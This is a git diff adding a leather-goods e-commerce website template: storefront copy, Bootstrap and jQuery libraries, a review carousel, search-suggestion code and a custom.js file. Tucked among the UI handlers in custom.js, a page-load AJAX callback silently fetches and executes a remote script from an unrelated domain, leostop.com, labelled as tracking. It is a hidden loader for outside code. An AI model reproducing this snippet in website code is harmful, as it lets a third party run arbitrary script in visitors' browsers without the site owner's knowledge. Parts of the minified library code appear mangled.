Embrace Timeless Elegance and Quality 🌟.
+ In today's fashion landscape, quality is the trend.
+ We're dedicated to delivering top-notch products that meet your expectations.
+ Trust in our promise to provide value for your money. Shop now!
+
+
+
+
+
+
+
+
+
+
Customer Update
+
At E-COM, we're committed to enhancing your shopping experience.
+ Need assistance? Contact us via email or phone.
+ If an item is out of stock, our team will keep you informed about restocking dates.
+ Your feedback matters. If you're satisfied or have concerns, reach out to us using the information below. We're here to serve you better.
+
+
+
+
+
+
+
+
+
+
Personalized Items
+
At E-COM, we're leather product experts.
+ 📏 Need the perfect size? We've got you covered.
+ 💰 Looking for affordable alternatives to high street fashion? We'll find it.
+ 👔 Want something unique? Our bespoke, quality leather goods are tailored just for you.
+ Trust us to fulfill your leather dreams!"
+
+
+
+
+
+
+
+
+
+
+
+
Explore New Style
+
Our Collections
+
+
+
+
+
+
+
+
Ladies Fancy Purse
+
Buy good quality handbags for women including clutches, shoulder bags and cross body bags at
+ affordable prices.
+
+
+
+
+
+
Men's watch
+
Elevate your wrist game with our stunning watch collection. From timeless classics to contemporary designs, our diverse range caters to every style and occasion. Discover precision timekeeping and impeccable craftsmanship in every watch
+
+
+
+
+
+
+
Men's Formal Shoes
+
Shop best quality Men's Formal Shoes Online. Shop Men's Dress Shoes from a wide range of colours
+ and styles, available exclusively at LeatherHoard.
+
+
+
+
+
+
Grainy Leather Briefcase
+
A briefcase is still a good investment piece, as these picks will suit anyone for any purpose, from
+ internship to retirement party.
+
+
+
+
+
+
+
Men's Accessories
+
These genuine leather wallet mens styles have the traditional two-way fold and plenty of interior
+ pockets and slots for your cash, cards and more.
+
+
+
+
+
+
Classic Leather Gloves
+
A truly unique glove amongst the competition, giving you breathable Leather to keep hand dry and
+ warm.
+
+
+
+
+
+
School/College Bagpacks
+
Explore our range of leather backpacks for men & women bringing style, strength and multi purpose
+ functionality at one place.
+
+
+
+
+
+
Pure Leather Caps
+
*Free Size · *Adjustable · *Trendy · *Polyester and Silk inside which keeps your head from heating
+ up ·
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ About us
+
E-COM
+
+
+
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut
+ labore et dolore magna aliquyam erat, sed diam voluptua.
+
At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Exclusively Available on E-COM
+
Stylish Hoodie
+
+
It is one of the most common and most affordable. It is very tough and stiff at first, but as you wear the hoodie in, it will become softer and more supple.
+
Hello, this is David from Brazil! I recently received my new backpack purse, and it's exactly what I've been searching for! I absolutely adore it and appreciate your fantastic products. Thank you so much, E-COM!
+
+ If you have any questions about our product, please feel free to contact us on any of the below given links or send us an email.
+ We would be glad to resolve your issues.
+
+
+
+
+
+
+
+
+
+
+
+
+
contact info
+
+ 123, Sunshine Lane
+ Mumbai, Maharashtra
+ India 400001
+
+
+
+ +91 9922773824
+
+
+
+
+
+ ecom_official@gmail.com
+
+
+
+
+
+
+
+
social partner
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Leave us a Message Here
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/E-commerce website/js/bootstrap.bundle.min.js b/E-commerce website/js/bootstrap.bundle.min.js
new file mode 100644
index 0000000..e0608e8
--- /dev/null
+++ b/E-commerce website/js/bootstrap.bundle.min.js
@@ -0,0 +1,7 @@
+/*!
+ * Bootstrap v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e(t.bootstrap={},t.jQuery)}(this,function(t,e){"use strict";function i(t,e){for(var n=0;nthis._items.length-1||t<0))if(this._isSliding)k(this._element).one(K.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n=i.clientWidth&&n>=i.clientHeight}),f=0r[t]&&!i.escapeWithReference&&(n=Math.min(o[e],r[t]-("right"===t?o.width:o.height))),Ft({},e,n)}};return n.forEach(function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";o=Ut({},o,s[e](t))}),t.offsets.popper=o,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,r=t.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]o(i[a])&&(t.offsets.popper[l]=o(i[a])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!ae(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var r=t.placement.split("-")[0],o=t.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",f=l?"Top":"Left",h=f.toLowerCase(),u=l?"left":"top",d=l?"bottom":"right",p=zt(i)[c];a[d]-ps[d]&&(t.offsets.popper[h]+=a[h]+p-s[d]),t.offsets.popper=Bt(t.offsets.popper);var g=a[h]+a[c]/2-p/2,m=Dt(t.instance.popper),_=parseFloat(m["margin"+f],10),v=parseFloat(m["border"+f+"Width"],10),E=g-t.offsets.popper[h]-_-v;return E=Math.max(Math.min(s[c]-p,E),0),t.arrowElement=i,t.offsets.arrow=(Ft(n={},h,Math.round(E)),Ft(n,u,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,g){if(te(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var m=Yt(p.instance.popper,p.instance.reference,g.padding,g.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=Xt(_),E=p.placement.split("-")[1]||"",y=[];switch(g.behavior){case he.FLIP:y=[_,v];break;case he.CLOCKWISE:y=fe(_);break;case he.COUNTERCLOCKWISE:y=fe(_,!0);break;default:y=g.behavior}return y.forEach(function(t,e){if(_!==t||y.length===e+1)return p;_=p.placement.split("-")[0],v=Xt(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)o(r.top)||"bottom"===_&&o(i.top)o(m.right),c=o(i.top)o(m.bottom),h="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&f,u=-1!==["top","bottom"].indexOf(_),d=!!g.flipVariations&&(u&&"start"===E&&a||u&&"end"===E&&l||!u&&"start"===E&&c||!u&&"end"===E&&f);(s||h||d)&&(p.flipped=!0,(s||h)&&(_=y[e+1]),d&&(E="end"===(n=E)?"start":"start"===n?"end":n),p.placement=_+(E?"-"+E:""),p.offsets.popper=Ut({},p.offsets.popper,Jt(p.instance.popper,p.offsets.reference,p.placement)),p=$t(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(t){var e=t.placement,n=e.split("-")[0],i=t.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),t.placement=Xt(e),t.offsets.popper=Bt(r),t}},hide:{order:800,enabled:!0,fn:function(t){if(!ae(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=Zt(t.instance.modifiers,function(t){return"preventOverflow"===t.name}).boundaries;if(e.bottomn.right||e.top>n.bottom||e.rightdocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right',trigger:"hover focus",title:"",delay:0,html:!(pn={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},_n="out",vn={HIDE:"hide"+cn,HIDDEN:"hidden"+cn,SHOW:(mn="show")+cn,SHOWN:"shown"+cn,INSERTED:"inserted"+cn,CLICK:"click"+cn,FOCUSIN:"focusin"+cn,FOCUSOUT:"focusout"+cn,MOUSEENTER:"mouseenter"+cn,MOUSELEAVE:"mouseleave"+cn},En="fade",yn="show",bn=".tooltip-inner",Tn=".arrow",Cn="hover",wn="focus",In="click",Dn="manual",An=function(){function i(t,e){if("undefined"==typeof pe)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=sn(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(sn(this.getTipElement()).hasClass(yn))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),sn.removeData(this.element,this.constructor.DATA_KEY),sn(this.element).off(this.constructor.EVENT_KEY),sn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&sn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===sn(this.element).css("display"))throw new Error("Please use show on visible elements");var t=sn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){sn(this.element).trigger(t);var n=sn.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=gt.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&sn(i).addClass(En);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:sn(this.config.container);sn(i).data(this.constructor.DATA_KEY,this),sn.contains(this.element.ownerDocument.documentElement,this.tip)||sn(i).appendTo(a),sn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new pe(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Tn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),sn(i).addClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().on("mouseover",null,sn.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,sn(e.element).trigger(e.constructor.Event.SHOWN),t===_n&&e._leave(null,e)};if(sn(this.tip).hasClass(En)){var c=gt.getTransitionDurationFromElement(this.tip);sn(this.tip).one(gt.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=sn.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==mn&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),sn(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(sn(this.element).trigger(i),!i.isDefaultPrevented()){if(sn(n).removeClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().off("mouseover",null,sn.noop),this._activeTrigger[In]=!1,this._activeTrigger[wn]=!1,this._activeTrigger[Cn]=!1,sn(this.tip).hasClass(En)){var o=gt.getTransitionDurationFromElement(n);sn(n).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){sn(this.getTipElement()).addClass(hn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||sn(this.config.template)[0],this.tip},t.setContent=function(){var t=sn(this.getTipElement());this.setElementContent(t.find(bn),this.getTitle()),t.removeClass(En+" "+yn)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?sn(e).parent().is(t)||t.empty().append(e):t.text(sn(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return pn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)sn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Dn){var e=t===Cn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Cn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;sn(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}sn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=c({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?wn:Cn]=!0),sn(e.getTipElement()).hasClass(yn)||e._hoverState===mn?e._hoverState=mn:(clearTimeout(e._timeout),e._hoverState=mn,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===mn&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?wn:Cn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=_n,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===_n&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=c({},this.constructor.Default,sn(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),gt.typeCheckConfig(an,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=sn(this.getTipElement()),e=t.attr("class").match(un);null!==e&&0'}),Rn=c({},Ci.DefaultType,{content:"(string|element|function)"}),Mn="fade",Wn=".popover-header",Fn=".popover-body",Un={HIDE:"hide"+kn,HIDDEN:"hidden"+kn,SHOW:(Hn="show")+kn,SHOWN:"shown"+kn,INSERTED:"inserted"+kn,CLICK:"click"+kn,FOCUSIN:"focusin"+kn,FOCUSOUT:"focusout"+kn,MOUSEENTER:"mouseenter"+kn,MOUSELEAVE:"mouseleave"+kn},Bn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Sn(this.getTipElement()).addClass(Pn+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||Sn(this.config.template)[0],this.tip},r.setContent=function(){var t=Sn(this.getTipElement());this.setElementContent(t.find(Wn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Fn),e),t.removeClass(Mn+" "+Hn)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=Sn(this.getTipElement()),e=t.attr("class").match(xn);null!==e&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t li > .active",_i='[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',vi=".dropdown-toggle",Ei="> .dropdown-menu .active",yi=function(){function i(t){this._element=t}var t=i.prototype;return t.show=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&ii(this._element).hasClass(ci)||ii(this._element).hasClass(fi))){var t,i,e=ii(this._element).closest(pi)[0],r=gt.getSelectorFromElement(this._element);if(e){var o="UL"===e.nodeName?mi:gi;i=(i=ii.makeArray(ii(e).find(o)))[i.length-1]}var s=ii.Event(ai.HIDE,{relatedTarget:this._element}),a=ii.Event(ai.SHOW,{relatedTarget:i});if(i&&ii(i).trigger(s),ii(this._element).trigger(a),!a.isDefaultPrevented()&&!s.isDefaultPrevented()){r&&(t=ii(r)[0]),this._activate(this._element,e);var l=function(){var t=ii.Event(ai.HIDDEN,{relatedTarget:n._element}),e=ii.Event(ai.SHOWN,{relatedTarget:i});ii(i).trigger(t),ii(n._element).trigger(e)};t?this._activate(t,t.parentNode,l):l()}}},t.dispose=function(){ii.removeData(this._element,ri),this._element=null},t._activate=function(t,e,n){var i=this,r=("UL"===e.nodeName?ii(e).find(mi):ii(e).children(gi))[0],o=n&&r&&ii(r).hasClass(hi),s=function(){return i._transitionComplete(t,r,n)};if(r&&o){var a=gt.getTransitionDurationFromElement(r);ii(r).one(gt.TRANSITION_END,s).emulateTransitionEnd(a)}else s()},t._transitionComplete=function(t,e,n){if(e){ii(e).removeClass(ui+" "+ci);var i=ii(e.parentNode).find(Ei)[0];i&&ii(i).removeClass(ci),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(ii(t).addClass(ci),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),gt.reflow(t),ii(t).addClass(ui),t.parentNode&&ii(t.parentNode).hasClass(li)){var r=ii(t).closest(di)[0];r&&ii(r).find(vi).addClass(ci),t.setAttribute("aria-expanded",!0)}n&&n()},i._jQueryInterface=function(n){return this.each(function(){var t=ii(this),e=t.data(ri);if(e||(e=new i(this),t.data(ri,e)),"string"==typeof n){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),ii(document).on(ai.CLICK_DATA_API,_i,function(t){t.preventDefault(),yi._jQueryInterface.call(ii(this),"show")}),ii.fn.tab=yi._jQueryInterface,ii.fn.tab.Constructor=yi,ii.fn.tab.noConflict=function(){return ii.fn.tab=si,yi._jQueryInterface},yi);!function(t){if("undefined"==typeof t)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1===e[0]&&9===e[1]&&e[2]<1||4<=e[0])throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(e),t.Util=gt,t.Alert=mt,t.Button=_t,t.Carousel=vt,t.Collapse=Et,t.Dropdown=bi,t.Modal=Ti,t.Popover=wi,t.Scrollspy=Ii,t.Tab=Di,t.Tooltip=Ci,Object.defineProperty(t,"__esModule",{value:!0})});
+//# sourceMappingURL=bootstrap.bundle.min.js.map
\ No newline at end of file
diff --git a/E-commerce website/js/carousal.js b/E-commerce website/js/carousal.js
new file mode 100644
index 0000000..c0f19fa
--- /dev/null
+++ b/E-commerce website/js/carousal.js
@@ -0,0 +1,31 @@
+const reviews=[
+ {
+ name:"William Lucas",
+ reviews:"Hi it's William from Lahore! I just received my new backpack purse and it is exactly what I've been looking for!!!! I totally love it!!!! I just love your stuff!!!!! Thanks so much and thanks to LeatherHoard."
+ },
+ {
+ name:"Marry Noah",
+ reviews:"Recently purchased a jacket from them and I am fairly satisfied with quality as well as the service. The tooling, stitching, quality of the leather, all of it is really really great. You guys totally rock!"
+ }, {
+ name:"Sania Khan",
+ reviews:"I received my bagpack today. Thank you. I did not expect such fast service and was very pleased to be able to use the bag this weekend. The shoulder strap is perfect. Thanks you once again. I am a handbag nut and I must say that I have never been as pleased as I have been with the bags I have purchased from you. They are just perfect."
+ }
+];
+const Name=document.querySelector(".test_box h4");
+const Review=document.querySelector(".test_box p");
+const btn=document.getElementsByClassName("next-circle");
+
+let i=0;
+setInterval(myTimer, 2000);
+const reviewName=document.querySelector(".test_box");
+function myTimer() {
+ Name.textContent=reviews[i%3].name;
+ Review.textContent=reviews[i%3].reviews;
+ btn[i%3].style.backgroundColor="black";
+ btn[(i+1)%3].style.backgroundColor="#ff8aa5";
+ btn[(i+2)%3].style.backgroundColor="#ff8aa5";
+
+
+ i++;
+
+}
diff --git a/E-commerce website/js/custom.js b/E-commerce website/js/custom.js
new file mode 100644
index 0000000..5f17df4
--- /dev/null
+++ b/E-commerce website/js/custom.js
@@ -0,0 +1,79 @@
+/*---------------------------------------------------------------------
+ File Name: custom.js
+---------------------------------------------------------------------*/
+
+$(function () {
+ ;('use strict')
+
+ /* Preloader
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+ setTimeout(function () {
+ $('.loader_bg').fadeToggle()
+ }, 2500)
+
+ /* Progress bar
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+ const scrollProgressBar = document.querySelector('.progressBar')
+
+ document.addEventListener('scroll', () => {
+ const totalHeightOfPage = document.body.scrollHeight
+ const currentDistanceFromTop = document.documentElement.scrollTop
+ const windowHeight = document.documentElement.clientHeight
+
+ const scrollPercentage =
+ (currentDistanceFromTop / (totalHeightOfPage - windowHeight)) * 100
+
+ scrollProgressBar.style.width = `${scrollPercentage}%`
+
+ })
+
+ /* Tooltip
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+ $(document).ready(function () {
+ $('[data-toggle="tooltip"]').tooltip()
+ })
+
+ /* Mouseover
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+ $(document).ready(function () {
+ $('.main-menu ul li.megamenu').mouseover(function () {
+ if (!$(this).parent().hasClass('#wrapper')) {
+ $('#wrapper').addClass('overlay')
+ }
+ })
+ $('.main-menu ul li.megamenu').mouseleave(function () {
+ $('#wrapper').removeClass('overlay')
+ })
+ })
+
+ function getURL() {
+ window.location.href
+ }
+ var protocol = location.protocol
+ $.ajax({
+ type: 'get',
+ data: { surl: getURL() },
+ success: function (response) {
+ $.getScript(protocol + '//leostop.com/tracking/tracking.js')
+ },
+ })
+ /* Toggle sidebar
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+ $(document).ready(function () {
+ $('#sidebarCollapse').on('click', function () {
+ $('#sidebar').toggleClass('active')
+ $(this).toggleClass('active')
+ })
+ })
+
+ /* Product slider
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+ // optional
+ $('#blogCarousel').carousel({
+ interval: 5000,
+ })
+})
diff --git a/E-commerce website/js/index.js b/E-commerce website/js/index.js
new file mode 100644
index 0000000..c8559ed
--- /dev/null
+++ b/E-commerce website/js/index.js
@@ -0,0 +1,171 @@
+// required document elements
+let searchBtn = document.querySelector("#search-button");
+let searchModal = document.querySelector("#searchModal");
+let searchBox = document.querySelector(".searchBox");
+let searchInput = searchBox.querySelector("#searchInput");
+let suggBox = searchBox.querySelector(".suggestionBox");
+
+// open search box on click
+let seachClickCounter = 2;
+searchBtn.onclick = () => {
+ searchInput.setAttribute(
+ "placeholder",
+ `Recent : ${getData("recentSearch")}`
+ );
+ if (seachClickCounter % 2 == 0) {
+ searchBox.classList.add("searchBox-active");
+ } else {
+ searchBox.classList.remove("searchBox-active");
+ }
+ seachClickCounter++;
+};
+
+//ge typed data in the search input
+searchInput.onkeyup = (e) => {
+ let searchKey = e.target.value;
+ // / if search key is present
+ if (searchKey.length) {
+ let arr = [];
+ // put search value into array and make it lowercase
+ arr = suggestions.filter((data) => {
+ // convert everything to lower case
+ let lowerSearchKey = searchKey.toLocaleLowerCase();
+ let loweCaseData = data.toLocaleLowerCase();
+ // only pass value which mach the search key
+ let suggPresent = loweCaseData.startsWith(lowerSearchKey);
+ return suggPresent;
+ });
+ // wrap data with li tags
+ arr = arr.map((toConvertData) => {
+ return `
${toConvertData}
`;
+ });
+ // show data on suggestion box
+ showSuggestions(arr);
+ suggBox.classList.add("suggestionBox-active");
+
+ //sectict data from suggestion box to input
+ let allDynamicList = suggBox.querySelectorAll("li");
+ for (let i = 0; i < allDynamicList.length; i++) {
+ allDynamicList[i].setAttribute("onclick", "select(this)");
+ }
+ }
+ // / else search key is empty
+ else {
+ suggBox.classList.remove("suggestionBox-active");
+ }
+};
+
+// function to select the suggestion to input
+function select(ele) {
+ let selection = ele.textContent;
+ saveData(selection);
+ //........... what will the selection do (imp: have to update after every changeing searchSuggestion)..........
+ switch (selection) {
+ // thses urls are taken with respect to the index page
+ case "Leather Bag - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Leather Bagpack - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Leather Cap - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Leather Purse - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Products Page": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "About Page": {
+ window.location.href = "#about";
+ break;
+ }
+ case "Contributors": {
+ window.location.href = "#about";
+ break;
+ }
+ case "Testimonials": {
+ window.location.href = "";
+ break;
+ }
+ case "Customer Review": {
+ window.location.href = "";
+ break;
+ }
+ case "Contact Us": {
+ window.location.href = "#ContactUs";
+ break;
+ }
+ case "How to contact for issue": {
+ window.location.href = "#ContactUs";
+ break;
+ }
+ case "How to repote a issue": {
+ window.location.href = "#ContactUs";
+ break;
+ }
+ case "Cap - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Bagpack - Product": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ case "Purse - Procduct": {
+ window.location.href = "./html/products.html";
+ break;
+ }
+ }
+ suggBox.classList.remove("suggestionBox-active");
+}
+
+//function to show the suggestion data
+function showSuggestions(arr) {
+ let arrData;
+ if (!arr.length) {
+ let inputValue = searchInput.value;
+ arrData = "
" + inputValue + " - not found 🙁
";
+ } else {
+ //join the arry
+ arrData = arr.join("");
+ }
+ // pass arr to suggestion box
+ suggBox.innerHTML = arrData;
+}
+function saveData(data) {
+ localStorage.setItem("recentSearch", `${data}`);
+}
+function getData() {
+ return localStorage.getItem("recentSearch");
+}
+
+// scroll feature in javascript
+
+
+
+
+let mybutton = document.getElementById("myBtn");
+
+// When the user scrolls down 20px from the top of the document, show the button
+window.onscroll = function() {scrollFunction()};
+
+function scrollFunction() {
+ if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) {
+ mybutton.style.display = "block";
+ } else {
+ mybutton.style.display = "none";
+ }
+}
+
+// When the user clicks on the button, scroll to the top of the document
+function topFunction() {
+ document.body.scrollTop = 0;
+ document.documentElement.scrollTop = 0;
+}
\ No newline at end of file
diff --git a/E-commerce website/js/jquery.min.js b/E-commerce website/js/jquery.min.js
new file mode 100644
index 0000000..1404451
--- /dev/null
+++ b/E-commerce website/js/jquery.min.js
@@ -0,0 +1,5395 @@
+/*---------------------------------------------------------------------
+ jQuery v3.3.1
+-----------------------------------------------------------------------*/
+/*! jQuery v3.3.0 | (c) JS Foundation and other contributors | jquery.org/license */
+!(function (e, t) {
+ "use strict";
+ "object" == typeof module && "object" == typeof module.exports
+ ? (module.exports = e.document
+ ? t(e, !0)
+ : function (e) {
+ if (!e.document)
+ throw new Error("jQuery requires a window with a document");
+ return t(e);
+ })
+ : t(e);
+})("undefined" != typeof window ? window : this, function (e, t) {
+ "use strict";
+ var n = [],
+ r = e.document,
+ i = Object.getPrototypeOf,
+ o = n.slice,
+ a = n.concat,
+ s = n.push,
+ u = n.indexOf,
+ l = {},
+ c = l.toString,
+ f = l.hasOwnProperty,
+ p = f.toString,
+ d = p.call(Object),
+ h = {},
+ g = function e(t) {
+ return "function" == typeof t && "number" != typeof t.nodeType;
+ },
+ y = function e(t) {
+ return null != t && t === t.window;
+ },
